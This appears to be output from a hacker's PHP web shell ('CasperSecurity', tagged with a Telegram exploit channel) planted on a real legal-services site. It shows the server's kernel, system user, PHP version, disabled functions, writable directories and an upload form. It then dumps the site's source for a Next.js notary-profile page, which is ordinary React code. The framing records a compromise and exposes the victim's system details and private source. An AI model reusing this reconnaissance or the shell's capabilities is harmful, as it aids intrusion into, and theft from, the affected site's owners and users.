T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.ca/private_html/src/pages/notary/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.ca/private_html/src/pages/notary/profile.tsx
import React, { useState, useEffect } from 'react';
import { useSession } from 'next-auth/react';
import { useRouter } from 'next/router';
import Head from 'next/head';
import { toast } from 'react-hot-toast';
import { 
  User, 
  Award, 
  Clock, 
  Globe, 
  DollarSign, 
  Shield, 
  FileText, 
  Star,
  CheckCircle,
  AlertCircle,
  Save,
  Upload,
  Eye,
  EyeOff,
  Building,
  Briefcase,
  Target,
  Users,
  Gavel,
  MapPin,
  Car,
  FileCheck
} from 'lucide-react';

interface NotaryProfile {
  id?: string;
  userId: string;
  // Basic Info
  name: string;
  email: string;
  title: string;
  bio: string;
  profilePicture: string;
  
  // Notary Specific
  notarialServices: string;
  jurisdiction: string;
  authority: string;
  mobileNotaryServices: boolean;
  documentTypes: string;
  certificationDetails: string;
  insuranceDetails: string;
  
  // Professional Details
  yearsOfExperience: number;
  totalNotarizations: number;
  clientSatisfactionRate: number;
  hourlyRate: number;
  perDocumentRate: number;
  travelFee: number;
  
  // Contact & Location
  phone: string;
  workPhone: string;
  officeLocation: string;
  timezone: string;
  websiteUrl: string;
  linkedinUrl: string;
  
  // Settings
  isProfilePublic: boolean;
  availability: string;
  pronouns: string;
}

export default function NotaryProfile() {
  const { data: session, status } = useSession();
  const router = useRouter();
  const [loading, setLoading] = useState(true);
  const [saving, setSaving] = useState(false);
  const [uploading, setUploading] = useState(false);
  
  const [profile, setProfile] = useState<NotaryProfile>({
    userId: '',
    name: '',
    email: '',
    title: '',
    bio: '',
    profilePicture: '',
    notarialServices: '',
    jurisdiction: '',
    authority: '',
    mobileNotaryServices: false,
    documentTypes: '',
    certificationDetails: '',
    insuranceDetails: '',
    yearsOfExperience: 0,
    totalNotarizations: 0,
    clientSatisfactionRate: 0,
    hourlyRate: 0,
    perDocumentRate: 0,
    travelFee: 0,
    phone: '',
    workPhone: '',
    officeLocation: '',
    timezone: '',
    websiteUrl: '',
    linkedinUrl: '',
    isProfilePublic: false,
    availability: '',
    pronouns: ''
  });

  useEffect(() => {
    if (status === 'unauthenticated') {
      router.push('/auth/login');
      return;
    }
    
    if (session) {
      if (session.user?.role !== 'NOTARY') {
        router.push('/');
        return;
      }

      loadProfile();
    }
  }, [session, status, router]);

  const loadProfile = async () => {
    try {
      const response = await fetch('/api/notary/profile');
      if (response.ok) {
        const data = await response.json();
        setProfile(data);
      } else {
        // Initialize with session data
        setProfile(prev => ({
          ...prev,
          userId: session?.user?.id || '',
          name: session?.user?.name || '',
          email: session?.user?.email || '',
          title: (session?.user as any)?.title || 'Notary Public',
        }));
      }
    } catch (error) {
      console.error('Error loading profile:', error);
      toast.error('Failed to load profile');
    } finally {
      setLoading(false);
    }
  };

  const handleSave = async () => {
    setSaving(true);
    try {
      const response = await fetch('/api/notary/profile', {
        method: 'PUT',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(profile),
      });

      if (response.ok) {
        toast.success('Profile updated successfully!');
      } else {
        const error = await response.json();
        toast.error(error.message || 'Failed to update profile');
      }
    } catch (error) {
      console.error('Error saving profile:', error);
      toast.error('Failed to save profile');
    } finally {
      setSaving(false);
    }
  };

  const handleImageUpload = async (event: React.ChangeEvent<HTMLInputElement>) => {
    const file = event.target.files?.[0];
    if (!file) return;

    setUploading(true);
    const formData = new FormData();
    formData.append('file', file);

    try {
      const response = await fetch('/api/upload/profile-picture', {
        method: 'POST',
        body: formData,
      });

      if (response.ok) {
        const data = await response.json();
        setProfile(prev => ({ ...prev, profilePicture: data.url }));
        toast.success('Profile picture updated!');
      } else {
        toast.error('Failed to upload image');
      }
    } catch (error) {
      console.error('Error uploading image:', error);
      toast.error('Failed to upload image');
    } finally {
      setUploading(false);
    }
  };

  const handleInputChange = (field: keyof NotaryProfile, value: any) => {
    setProfile(prev => ({ ...prev, [field]: value }));
  };

  if (status === 'loading') {
    return (
      <div className="flex items-center justify-center min-h-screen">
        <div className="animate-spin rounded-full h-12 w-12 border-b-2 border-blue-600"></div>
        <span className="ml-3 text-gray-600">Loading...</span>
      </div>
    );
  }

  return (
    <>
      <Head>
        <title>Notary Profile - Legal Platform</title>
        <meta name="description" content="Manage your notary profile and professional information" />
      </Head>

      <div className="min-h-screen bg-gray-50">
        <div className="max-w-4xl mx-auto py-8 px-4 sm:px-6 lg:px-8">
          {/* Header */}
          <div className="mb-8">
            <div className="flex items-center justify-between">
              <div>
                <h1 className="text-3xl font-bold text-gray-900">Notary Profile</h1>
                <p className="mt-2 text-gray-600">Manage your professional profile and notarial services</p>
              </div>
              <button
                onClick={() => router.push('/notary/dashboard')}
                className="px-4 py-2 text-sm font-medium text-gray-700 bg-white border border-gray-300 rounded-md hover:bg-gray-50"
              >
                Back to Dashboard
              </button>
            </div>
          </div>

          <div className="bg-white shadow rounded-lg">
            <div className="px-6 py-4 border-b border-gray-200">
              <h2 className="text-lg font-medium text-gray-900">Profile Information</h2>
            </div>

            <div className="p-6 space-y-8">
              {/* Profile Picture Section */}
              <div className="flex items-center space-x-6">
                <div className="relative">
                  <div className="w-24 h-24 rounded-full overflow-hidden bg-gray-200">
                    {profile.profilePicture ? (
                      <img
                        src={profile.profilePicture}
                        alt="Profile"
                        className="w-full h-full object-cover"
                      />
                    ) : (
                      <div className="w-full h-full flex items-center justify-center">
                        <User className="w-12 h-12 text-gray-400" />
                      </div>
                    )}
                  </div>
                  <label className="absolute bottom-0 right-0 bg-blue-600 text-white p-1 rounded-full cursor-pointer hover:bg-blue-700">
                    <Upload className="w-4 h-4" />
                    <input
                      type="file"
                      accept="image/*"
                      onChange={handleImageUpload}
                      className="hidden"
                    />
                  </label>
                </div>
                <div>
                  <h3 className="text-lg font-medium text-gray-900">Profile Picture</h3>
                  <p className="text-sm text-gray-500">
                    {uploading ? 'Uploading...' : 'Upload a professional photo'}
                  </p>
                </div>
              </div>

              {/* Basic Information */}
              <div className="grid grid-cols-1 md:grid-cols-2 gap-6">
                <div>
                  <label className="block text-sm font-medium text-gray-700">Full Name</label>
                  <input
                    type="text"
                    value={profile.name}
                    onChange={(e) => handleInputChange('name', e.target.value)}
                    className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                  />
                </div>
                <div>
                  <label className="block text-sm font-medium text-gray-700">Email</label>
                  <input
                    type="email"
                    value={profile.email}
                    disabled
                    className="mt-1 block w-full border-gray-300 rounded-md shadow-sm bg-gray-50"
                  />
                </div>
                <div>
                  <label className="block text-sm font-medium text-gray-700">Professional Title</label>
                  <input
                    type="text"
                    value={profile.title}
                    onChange={(e) => handleInputChange('title', e.target.value)}
                    placeholder="e.g., Notary Public, Certified Notary"
                    className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                  />
                </div>
                <div>
                  <label className="block text-sm font-medium text-gray-700">Pronouns</label>
                  <input
                    type="text"
                    value={profile.pronouns}
                    onChange={(e) => handleInputChange('pronouns', e.target.value)}
                    placeholder="e.g., he/him, she/her, they/them"
                    className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                  />
                </div>
              </div>

              {/* Bio */}
              <div>
                <label className="block text-sm font-medium text-gray-700">Professional Bio</label>
                <textarea
                  value={profile.bio}
                  onChange={(e) => handleInputChange('bio', e.target.value)}
                  rows={4}
                  placeholder="Describe your notarial services, experience, and what makes you reliable..."
                  className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                />
              </div>

              {/* Notary Expertise */}
              <div className="border-t pt-6">
                <h3 className="text-lg font-medium text-gray-900 mb-4">Notary Services & Authority</h3>
                <div className="grid grid-cols-1 md:grid-cols-2 gap-6">
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Notarial Services Offered</label>
                    <textarea
                      value={profile.notarialServices}
                      onChange={(e) => handleInputChange('notarialServices', e.target.value)}
                      rows={3}
                      placeholder="e.g., Acknowledgments, Oaths, Affidavits, Certified Copies, Real Estate Documents"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Jurisdiction</label>
                    <input
                      type="text"
                      value={profile.jurisdiction}
                      onChange={(e) => handleInputChange('jurisdiction', e.target.value)}
                      placeholder="e.g., State, County, City"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Authority & Commission</label>
                    <textarea
                      value={profile.authority}
                      onChange={(e) => handleInputChange('authority', e.target.value)}
                      rows={3}
                      placeholder="e.g., Commission number, expiration date, appointing authority"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Document Types Handled</label>
                    <textarea
                      value={profile.documentTypes}
                      onChange={(e) => handleInputChange('documentTypes', e.target.value)}
                      rows={3}
                      placeholder="e.g., Real estate, Legal, Business, Personal, Immigration documents"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Certification Details</label>
                    <textarea
                      value={profile.certificationDetails}
                      onChange={(e) => handleInputChange('certificationDetails', e.target.value)}
                      rows={3}
                      placeholder="e.g., NNA certification, specialized training, continuing education"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Insurance Details</label>
                    <textarea
                      value={profile.insuranceDetails}
                      onChange={(e) => handleInputChange('insuranceDetails', e.target.value)}
                      rows={3}
                      placeholder="e.g., Errors & Omissions insurance, bond coverage, liability protection"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                </div>
              </div>

              {/* Mobile Services */}
              <div className="border-t pt-6">
                <h3 className="text-lg font-medium text-gray-900 mb-4">Mobile Notary Services</h3>
                <div className="grid grid-cols-1 md:grid-cols-2 gap-6">
                  <div className="flex items-center">
                    <input
                      type="checkbox"
                      checked={profile.mobileNotaryServices}
                      onChange={(e) => handleInputChange('mobileNotaryServices', e.target.checked)}
                      className="h-4 w-4 text-blue-600 focus:ring-blue-500 border-gray-300 rounded"
                    />
                    <label className="ml-2 block text-sm text-gray-900">
                      Offer Mobile Notary Services
                    </label>
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Travel Fee ($)</label>
                    <input
                      type="number"
                      value={profile.travelFee}
                      onChange={(e) => handleInputChange('travelFee', parseFloat(e.target.value) || 0)}
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                </div>
              </div>

              {/* Availability */}
              <div className="border-t pt-6">
                <h3 className="text-lg font-medium text-gray-900 mb-4">Availability</h3>
                <div className="grid grid-cols-1 md:grid-cols-2 gap-6">
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Working Hours</label>
                    <textarea
                      value={profile.availability}
                      onChange={(e) => handleInputChange('availability', e.target.value)}
                      rows={3}
                      placeholder="e.g., Monday-Friday 9AM-5PM, Weekends by appointment, 24/7 emergency service"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Timezone</label>
                    <input
                      type="text"
                      value={profile.timezone}
                      onChange={(e) => handleInputChange('timezone', e.target.value)}
                      placeholder="e.g., EST, PST, GMT"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                </div>
              </div>

              {/* Professional Statistics */}
              <div className="border-t pt-6">
                <h3 className="text-lg font-medium text-gray-900 mb-4">Professional Statistics</h3>
                <div className="grid grid-cols-1 md:grid-cols-4 gap-6">
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Years of Experience</label>
                    <input
                      type="number"
                      value={profile.yearsOfExperience}
                      onChange={(e) => handleInputChange('yearsOfExperience', parseInt(e.target.value) || 0)}
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Total Notarizations</label>
                    <input
                      type="number"
                      value={profile.totalNotarizations}
                      onChange={(e) => handleInputChange('totalNotarizations', parseInt(e.target.value) || 0)}
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Client Satisfaction Rate (%)</label>
                    <input
                      type="number"
                      value={profile.clientSatisfactionRate}
                      onChange={(e) => handleInputChange('clientSatisfactionRate', parseFloat(e.target.value) || 0)}
                      min="0"
                      max="100"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                </div>
              </div>

              {/* Pricing */}
              <div className="border-t pt-6">
                <h3 className="text-lg font-medium text-gray-900 mb-4">Pricing & Services</h3>
                <div className="grid grid-cols-1 md:grid-cols-3 gap-6">
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Hourly Rate ($)</label>
                    <input
                      type="number"
                      value={profile.hourlyRate}
                      onChange={(e) => handleInputChange('hourlyRate', parseFloat(e.target.value) || 0)}
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Per Document Rate ($)</label>
                    <input
                      type="number"
                      value={profile.perDocumentRate}
                      onChange={(e) => handleInputChange('perDocumentRate', parseFloat(e.target.value) || 0)}
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Travel Fee ($)</label>
                    <input
                      type="number"
                      value={profile.travelFee}
                      onChange={(e) => handleInputChange('travelFee', parseFloat(e.target.value) || 0)}
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                </div>
              </div>

              {/* Contact Information */}
              <div className="border-t pt-6">
                <h3 className="text-lg font-medium text-gray-900 mb-4">Contact Information</h3>
                <div className="grid grid-cols-1 md:grid-cols-2 gap-6">
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Phone</label>
                    <input
                      type="tel"
                      value={profile.phone}
                      onChange={(e) => handleInputChange('phone', e.target.value)}
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Work Phone</label>
                    <input
                      type="tel"
                      value={profile.workPhone}
                      onChange={(e) => handleInputChange('workPhone', e.target.value)}
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Office Location</label>
                    <input
                      type="text"
                      value={profile.officeLocation}
                      onChange={(e) => handleInputChange('officeLocation', e.target.value)}
                      placeholder="City, Province/State"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">Website</label>
                    <input
                      type="url"
                      value={profile.websiteUrl}
                      onChange={(e) => handleInputChange('websiteUrl', e.target.value)}
                      placeholder="https://your-website.com"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                  <div>
                    <label className="block text-sm font-medium text-gray-700">LinkedIn</label>
                    <input
                      type="url"
                      value={profile.linkedinUrl}
                      onChange={(e) => handleInputChange('linkedinUrl', e.target.value)}
                      placeholder="https://linkedin.com/in/your-profile"
                      className="mt-1 block w-full border-gray-300 rounded-md shadow-sm focus:ring-blue-500 focus:border-blue-500"
                    />
                  </div>
                </div>
              </div>

              {/* Profile Visibility */}
              <div className="border-t pt-6">
                <div className="flex items-center justify-between">
                  <div>
                    <h3 className="text-lg font-medium text-gray-900">Profile Visibility</h3>
                    <p className="text-sm text-gray-500">
                      Make your profile visible to clients and legal professionals seeking notary services
                    </p>
                  </div>
                  <div className="flex items-center">
                    <input
                      type="checkbox"
                      checked={profile.isProfilePublic}
                      onChange={(e) => handleInputChange('isProfilePublic', e.target.checked)}
                      className="h-4 w-4 text-blue-600 focus:ring-blue-500 border-gray-300 rounded"
                    />
                    <label className="ml-2 block text-sm text-gray-900">
                      Make Profile Public
                    </label>
                  </div>
                </div>
              </div>

              {/* Save Button */}
              <div className="border-t pt-6">
                <div className="flex justify-end">
                  <button
                    onClick={handleSave}
                    disabled={saving}
                    className="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:opacity-50"
                  >
                    {saving ? (
                      <>
                        <div className="animate-spin rounded-full h-4 w-4 border-b-2 border-white mr-2"></div>
                        Saving...
                      </>
                    ) : (
                      <>
                        <Save className="w-4 h-4 mr-2" />
                        Save Profile
                      </>
                    )}
                  </button>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </>
  );
} 

CasperSecurity Mini